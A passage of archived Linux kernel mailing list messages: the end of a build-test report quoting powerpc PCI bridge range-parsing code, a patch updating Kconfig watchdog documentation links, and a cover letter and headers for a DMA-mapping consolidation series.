> 13dccb9e Benjamin Herrenschmidt 2007-12-11  645   * @hose: newly allocated pci_controller to be setup
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  646   * @dev: device node of the host bridge
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  647   * @primary: set if primary bus (32 bits only, soon to be deprecated)
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  648   *
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  649   * This function will parse the "ranges" property of a PCI host bridge device
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  650   * node and setup the resource mapping of a pci controller based on its
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  651   * content.
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  652   *
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  653   * Life would be boring if it wasn't for a few issues that we have to deal
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  654   * with here:
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  655   *
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  656   *   - We can only cope with one IO space range and up to 3 Memory space
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  657   *     ranges. However, some machines (thanks Apple !) tend to split their
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  658   *     space into lots of small contiguous ranges. So we have to coalesce.
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  659   *
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  660   *   - Some busses have IO space not starting at 0, which causes trouble with
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  661   *     the way we do our IO resource renumbering. The code somewhat deals with
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  662   *     it for 64 bits but I would expect problems on 32 bits.
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  663   *
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  664   *   - Some 32 bits platforms such as 4xx can have physical space larger than
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  665   *     32 bits so we need to use 64 bits values for the parsing
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  666   */
> cad5cef6 Greg Kroah-Hartman     2012-12-21  667  void pci_process_bridge_OF_ranges(struct pci_controller *hose,
> cad5cef6 Greg Kroah-Hartman     2012-12-21  668  				  struct device_node *dev, int primary)
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  669  {
> 858957ab Kevin Hao              2013-05-16  670  	int memno = 0;
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  671  	struct resource *res;
> 654837e8 Andrew Murray          2014-02-25  672  	struct of_pci_range range;
> 654837e8 Andrew Murray          2014-02-25  673  	struct of_pci_range_parser parser;
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  674  
> b7c670d6 Rob Herring            2017-08-21  675  	printk(KERN_INFO "PCI host bridge %pOF %s ranges:\n",
> b7c670d6 Rob Herring            2017-08-21  676  	       dev, primary ? "(primary)" : "");
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  677  
> 654837e8 Andrew Murray          2014-02-25  678  	/* Check for ranges property */
> 654837e8 Andrew Murray          2014-02-25  679  	if (of_pci_range_parser_init(&parser, dev))
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  680  		return;
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  681  
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  682  	/* Parse it */
> 654837e8 Andrew Murray          2014-02-25  683  	for_each_of_pci_range(&parser, &range) {
> e9f82cb7 Benjamin Herrenschmidt 2008-10-14  684  		/* If we failed translation or got a zero-sized region
> e9f82cb7 Benjamin Herrenschmidt 2008-10-14  685  		 * (some FW try to feed us with non sensical zero sized regions
> e9f82cb7 Benjamin Herrenschmidt 2008-10-14  686  		 * such as power3 which look like some kind of attempt at exposing
> e9f82cb7 Benjamin Herrenschmidt 2008-10-14  687  		 * the VGA memory hole)
> e9f82cb7 Benjamin Herrenschmidt 2008-10-14  688  		 */
> 654837e8 Andrew Murray          2014-02-25  689  		if (range.cpu_addr == OF_BAD_ADDR || range.size == 0)
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  690  			continue;
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  691  
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  692  		/* Act based on address space type */
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  693  		res = NULL;
> 654837e8 Andrew Murray          2014-02-25  694  		switch (range.flags & IORESOURCE_TYPE_BITS) {
> 654837e8 Andrew Murray          2014-02-25  695  		case IORESOURCE_IO:
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  696  			printk(KERN_INFO
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  697  			       "  IO 0x%016llx..0x%016llx -> 0x%016llx\n",
> 654837e8 Andrew Murray          2014-02-25  698  			       range.cpu_addr, range.cpu_addr + range.size - 1,
> 654837e8 Andrew Murray          2014-02-25  699  			       range.pci_addr);
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  700  
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  701  			/* We support only one IO range */
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  702  			if (hose->pci_io_size) {
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  703  				printk(KERN_INFO
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  704  				       " \\--> Skipped (too many) !\n");
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  705  				continue;
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  706  			}
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  707  #ifdef CONFIG_PPC32
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  708  			/* On 32 bits, limit I/O space to 16MB */
> 654837e8 Andrew Murray          2014-02-25  709  			if (range.size > 0x01000000)
> 654837e8 Andrew Murray          2014-02-25  710  				range.size = 0x01000000;
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  711  
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  712  			/* 32 bits needs to map IOs here */
> 654837e8 Andrew Murray          2014-02-25  713  			hose->io_base_virt = ioremap(range.cpu_addr,
> 654837e8 Andrew Murray          2014-02-25  714  						range.size);
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  715  
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  716  			/* Expect trouble if pci_addr is not 0 */
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  717  			if (primary)
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  718  				isa_io_base =
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  719  					(unsigned long)hose->io_base_virt;
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  720  #endif /* CONFIG_PPC32 */
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  721  			/* pci_io_size and io_base_phys always represent IO
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  722  			 * space starting at 0 so we factor in pci_addr
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  723  			 */
> 654837e8 Andrew Murray          2014-02-25  724  			hose->pci_io_size = range.pci_addr + range.size;
> 654837e8 Andrew Murray          2014-02-25  725  			hose->io_base_phys = range.cpu_addr - range.pci_addr;
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  726  
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  727  			/* Build resource */
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  728  			res = &hose->io_resource;
> 654837e8 Andrew Murray          2014-02-25  729  			range.cpu_addr = range.pci_addr;
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  730  			break;
> 654837e8 Andrew Murray          2014-02-25  731  		case IORESOURCE_MEM:
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  732  			printk(KERN_INFO
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  733  			       " MEM 0x%016llx..0x%016llx -> 0x%016llx %s\n",
> 654837e8 Andrew Murray          2014-02-25  734  			       range.cpu_addr, range.cpu_addr + range.size - 1,
> 654837e8 Andrew Murray          2014-02-25  735  			       range.pci_addr,
> 654837e8 Andrew Murray          2014-02-25  736  			       (range.pci_space & 0x40000000) ?
> 654837e8 Andrew Murray          2014-02-25  737  			       "Prefetch" : "");
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  738  
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  739  			/* We support only 3 memory ranges */
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  740  			if (memno >= 3) {
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  741  				printk(KERN_INFO
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  742  				       " \\--> Skipped (too many) !\n");
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  743  				continue;
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  744  			}
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  745  			/* Handles ISA memory hole space here */
> 654837e8 Andrew Murray          2014-02-25  746  			if (range.pci_addr == 0) {
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  747  				if (primary || isa_mem_base == 0)
> 654837e8 Andrew Murray          2014-02-25  748  					isa_mem_base = range.cpu_addr;
> 654837e8 Andrew Murray          2014-02-25  749  				hose->isa_mem_phys = range.cpu_addr;
> 654837e8 Andrew Murray          2014-02-25  750  				hose->isa_mem_size = range.size;
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  751  			}
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  752  
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  753  			/* Build resource */
> 654837e8 Andrew Murray          2014-02-25  754  			hose->mem_offset[memno] = range.cpu_addr -
> 654837e8 Andrew Murray          2014-02-25  755  							range.pci_addr;
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  756  			res = &hose->mem_resources[memno++];
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  757  			break;
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  758  		}
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  759  		if (res != NULL) {
> aeba3731 Michael Ellerman       2014-10-16  760  			res->name = dev->full_name;
> aeba3731 Michael Ellerman       2014-10-16  761  			res->flags = range.flags;
> aeba3731 Michael Ellerman       2014-10-16  762  			res->start = range.cpu_addr;
> aeba3731 Michael Ellerman       2014-10-16  763  			res->end = range.cpu_addr + range.size - 1;
> aeba3731 Michael Ellerman       2014-10-16 @764  			res->parent = res->child = res->sibling = NULL;
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  765  		}
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  766  	}
> 13dccb9e Benjamin Herrenschmidt 2007-12-11  767  }
> fa462f2d Benjamin Herrenschmidt 2007-12-20  768  
> 
> :::::: The code at line 764 was first introduced by commit
> :::::: aeba3731b150188685225b510886f1370d8814de powerpc/pci: Fix IO space breakage after of_pci_range_to_resource() change
> 
> :::::: TO: Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>
> :::::: CC: Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>
> 
> ---
> 0-DAY kernel test infrastructure                Open Source Technology Center
> https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

From - Thu Nov 08 21:41:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mauro Carvalho Chehab <mchehab+samsung@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.documentation,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH v2 10/11] arch/*: Kconfig: fix documentation for NMI watchdog
Date: Wed,  9 May 2018 10:18:53 -0300
Lines: 72
Approved: news@gmane.org
Message-ID: <30b7698983a917b736088821420ac0c3bd9f9a0f.1525870886.git.mchehab+samsung@kernel.org>
References: <cover.1525870886.git.mchehab+samsung@kernel.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1525871861 3228 195.159.176.226 (9 May 2018 13:17:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 9 May 2018 13:17:41 +0000 (UTC)
Cc: Mauro Carvalho Chehab <mchehab+samsung@kernel.org>,
        Mauro Carvalho Chehab <mchehab@infradead.org>,
        linux-kernel@vger.kernel.org, Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Rich Felker <dalias@libc.org>,
        "David S. Miller" <davem@davemloft.net>,
        linux-arm-kernel@lists.infradead.org, linux-parisc@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org
To: Linux Doc Mailing List <linux-doc@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed May 09 15:17:36 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fGOyN-0000hj-Mj
	for glk-linux-kernel-4@m.gmane.org; Wed, 09 May 2018 15:17:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S935308AbeEINTk (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Wed, 9 May 2018 09:19:40 -0400
Original-Received: from osg.samsung.com ([64.30.133.232]:58914 "EHLO osg.samsung.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S935188AbeEINTR (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 9 May 2018 09:19:17 -0400
Original-Received: from localhost (localhost [127.0.0.1])
        by osg.samsung.com (Postfix) with ESMTP id 85B322C25E;
        Wed,  9 May 2018 06:19:16 -0700 (PDT)
X-Virus-Scanned: Debian amavisd-new at dev.s-opensource.com
X-Amavis-Alert: BAD HEADER SECTION, Duplicate header field: "References"
Original-Received: from osg.samsung.com ([127.0.0.1])
        by localhost (localhost [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id MJ_ihCerSvnf; Wed,  9 May 2018 06:19:14 -0700 (PDT)
Original-Received: from smtp.s-opensource.com (177.41.96.165.dynamic.adsl.gvt.net.br [177.41.96.165])
        by osg.samsung.com (Postfix) with ESMTPSA id C59D12C226;
        Wed,  9 May 2018 06:19:10 -0700 (PDT)
Original-Received: from mchehab by smtp.s-opensource.com with local (Exim 4.90_1)
        (envelope-from <mchehab@smtp.s-opensource.com>)
        id 1fGOzs-0004Ok-UZ; Wed, 09 May 2018 10:19:08 -0300
X-Mailer: git-send-email 2.17.0
In-Reply-To: <cover.1525870886.git.mchehab+samsung@kernel.org>
In-Reply-To: <cover.1525870886.git.mchehab+samsung@kernel.org>
Original-References: <cover.1525870886.git.mchehab+samsung@kernel.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2762761 gmane.linux.documentation:55685 gmane.linux.ports.arm.kernel:648756 gmane.linux.ports.parisc:28593 gmane.linux.ports.sh.devel:56997 gmane.linux.ports.sparc:27837
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2762761>

Changeset 9919cba7ff71 ("watchdog: Update documentation") updated
the documentation, removing the old nmi_watchdog.txt and adding
a file with a new content.

Update Kconfig files accordingly.

Fixes: 9919cba7ff71 ("watchdog: Update documentation")

Signed-off-by: Mauro Carvalho Chehab <mchehab+samsung@kernel.org>
---
 arch/arm/Kconfig    | 2 +-
 arch/parisc/Kconfig | 2 +-
 arch/sh/Kconfig     | 2 +-
 arch/sparc/Kconfig  | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index a7f8e7f4b88f..7b4fa8356978 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -1305,7 +1305,7 @@ config SMP
 	  will run faster if you say N here.
 
 	  See also <file:Documentation/x86/i386/IO-APIC.txt>,
-	  <file:Documentation/nmi_watchdog.txt> and the SMP-HOWTO available at
+	  <file:Documentation/lockup-watchdogs.txt> and the SMP-HOWTO available at
 	  <http://tldp.org/HOWTO/SMP-HOWTO.html>.
 
 	  If you don't know what to do here, say N.
diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index fc5a574c3482..b6823215cc9a 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -279,7 +279,7 @@ config SMP
 	  machines, but will use only one CPU of a multiprocessor machine.
 	  On a uniprocessor machine, the kernel will run faster if you say N.
 
-	  See also <file:Documentation/nmi_watchdog.txt> and the SMP-HOWTO
+	  See also <file:Documentation/lockup-watchdogs.txt> and the SMP-HOWTO
 	  available at <http://www.tldp.org/docs.html#howto>.
 
 	  If you don't know what to do here, say N.
diff --git a/arch/sh/Kconfig b/arch/sh/Kconfig
index 97fe29316476..bf628dd7c195 100644
--- a/arch/sh/Kconfig
+++ b/arch/sh/Kconfig
@@ -689,7 +689,7 @@ config SMP
 	  People using multiprocessor machines who say Y here should also say
 	  Y to "Enhanced Real Time Clock Support", below.
 
-	  See also <file:Documentation/nmi_watchdog.txt> and the SMP-HOWTO
+	  See also <file:Documentation/lockup-watchdogs.txt> and the SMP-HOWTO
 	  available at <http://www.tldp.org/docs.html#howto>.
 
 	  If you don't know what to do here, say N.
diff --git a/arch/sparc/Kconfig b/arch/sparc/Kconfig
index 8767e45f1b2b..66171c2e428b 100644
--- a/arch/sparc/Kconfig
+++ b/arch/sparc/Kconfig
@@ -189,7 +189,7 @@ config SMP
 	  Y to "Enhanced Real Time Clock Support", below. The "Advanced Power
 	  Management" code will be disabled if you say Y here.
 
-	  See also <file:Documentation/nmi_watchdog.txt> and the SMP-HOWTO
+	  See also <file:Documentation/lockup-watchdogs.txt> and the SMP-HOWTO
 	  available at <http://www.tldp.org/docs.html#howto>.
 
 	  If you don't know what to do here, say N.
-- 
2.17.0



From - Thu Nov 08 21:41:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: common non-cache coherent direct dma mapping ops
Date: Fri, 11 May 2018 09:59:25 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025482 28205 195.159.176.226 (11 May 2018 07:58:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 07:58:02 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 Michal Simek <monstr@monstr.eu>, Vincent Chen <deanbo422@gmail.com>,
 linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
 linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
 openrisc@lists.librecores.org, Greentime Hu <green.hu@gmail.com>,
 linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
 nios2-dev@lists.rocketboards.org, linux-snps-arc@lists.infradead.org,
 linux-arm-kernel@lists.infradead.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri May 11 09:57:57 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fH2w8-0007Bl-2a
	for gla-linux-snps-arc@m.gmane.org; Fri, 11 May 2018 09:57:56 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:Date:
	Subject:To:From:Reply-To:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:In-Reply-To:
	References:List-Owner; bh=4wx5mKm3C3YIokHdRKpACvmtVmKY5sD2XUoq4d8zIhw=; b=hgo
	9kH976usDgVuwCXGaqJH0oATyQa5r1lA7h4NkDKT5wcukqf3zkJ+pk7GzdR7fsl/RpPi9IZ9wjbBR
	iDPQtku5k6nwiXFuqJKE3Y+tuXSmbjmBu8e0hAsoXPuRdgvshgI7IMb21hZCsw8skOctfzqZXxsqh
	h+kKKubakZ1WiL6H6IOj/X85sM8St/+2W1sDqrUSNufsp7ER2Y3jKuo2TEM/LS2FQ16doBcq8M7Pe
	2mtEufIwQjEOBnbpJXVXFcWF3FRXMTilYVS+g6H4zVv24TKLsKhaMSBpZ95YLnegHc4RQldnRF7Zw
	P1BeCwAsG4AWIXU9PhKyuC64u+LjKVg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH2yC-0006Xs-Ki; Fri, 11 May 2018 08:00:04 +0000
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
 helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fH2xy-0006NA-10; Fri, 11 May 2018 07:59:50 +0000
X-Mailer: git-send-email 2.17.0
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:3863 gmane.linux.kernel.iommu:24167 gmane.linux.kernel.cross-arch:44011 gmane.linux.ports.parisc:28594 gmane.linux.ports.sh.devel:57000 gmane.linux.ports.hexagon:1697 gmane.linux.kernel:2764201 gmane.linux.ports.alpha:5022 gmane.linux.ports.sparc:27849 gmane.linux.ports.arm.kernel:649150
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/3863>

Hi all,

this series continues consolidating the dma-mapping code, with a focus
on architectures that do not (always) provide cache coherence for DMA.
Three architectures (arm, mips and powerpc) are still left to be
converted later due to complexity of their dma ops selection.

The dma-noncoherent ops calls the dma-direct ops for the actual
translation of streaming mappins and allow the architecture to provide
any cache flushing required for cpu to device and/or device to cpu
ownership transfers.  The dma coherent allocator is for now still left
entirely to architecture supplied implementations due the amount of
variations.  Hopefully we can do some consolidation for them later on
as well.

A lot of architectures are currently doing very questionable things
in their dma mapping routines, which are documented in the changelogs
for each patch.  Please review them very careful and correct me on
incorrect assumptions.

Because this series sits on top of two previously submitted series
a git tree might be useful to actually test it.  It is provided here:

    git://git.infradead.org/users/hch/misc.git generic-dma-noncoherent

Gitweb:

    http://git.infradead.org/users/hch/misc.git/shortlog/refs/heads/generic-dma-noncoherent

Changes since RFC:
 - fix a typo accidentally disabling the device to cpu transfer sync
 - fixed a few compile failures

From - Thu Nov 08 21:41:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.arm.kernel
Subject: [PATCH 01/20] dma-mapping: simplify Kconfig dependencies
Date: Fri, 11 May 2018 09:59:26 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <20180511075945.16548-2-hch@lst.de>
References: <20180511075945.16548-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1526025487 28655 195.159.176.226 (11 May 2018 07:58:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 11 May 2018 07:58:07 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, linux-xtensa@linux-xtensa.org,
 Michal Simek <monstr@monstr.eu>, Vincent Chen <deanbo422@gmail.com>,
 linux-c6x-dev@linux-c6x.org, linux-parisc@vger.kernel.org,
 linux-sh@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
 openrisc@lists.librecores.org, Greentime Hu <green.hu@gmail.com>,
 linux-alpha@vger.kernel.org, sparclinux@vger.kernel.org,
 nios2-dev@lists.rocketboards.org, linux-snps-arc@lists.infradead.org,
 linux-arm-kernel@lists.infradead.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri May 11 09:58:02 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fH2wB-0007FU-GV
	for gla-linux-snps-arc@m.gmane.org; Fri, 11 May 2018 09:57:59 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=zZhOMUi6Cec72ypBz4eype0xqUtuCBuiCxzdwF7u51s=; b=qoue5rdF/QQhTVrSP2gA2M8y3v
	ZR/14s5KWL0NBCN6yHYj+wZzBHuSD76jjk9KpUGW5u9MR7Lj2acVJVMW8oGQ4KnHvb0W6IreLG96U
	rEd7eZdt8seN1SqqNsN8cJ+T/W8y8XIJnjM5WL46rPReiXvQ6e26DThwlib1hVBrtoQz8OdKKex+S
	eaa93fZHXd4kN509ZnOTgm/boTBWjxnwgLAIZCrM1eqmQdOQdwiuCR5d5a7prZqlRH3dwapKHaqkP
	bPCL8aT5p1tbEv0QM6G6PbOeLvOOm39heUQq1KtsQxxUKRcn38NzZaCC5aUwKmavlBe5cySD4dr8L
	29B3u4QQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fH2yE-0006cL-Ob; Fri, 11 May 2018 08:00:06 +0000
Original-Received: from 213-225-15-246.nat.highway.a1.net ([213.225.15.246]
 helo=localhost)
 by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fH2y1-0006QS-SN; Fri, 11 May 2018 07:59:54 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180511075945.16548-1-hch@lst.de>
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
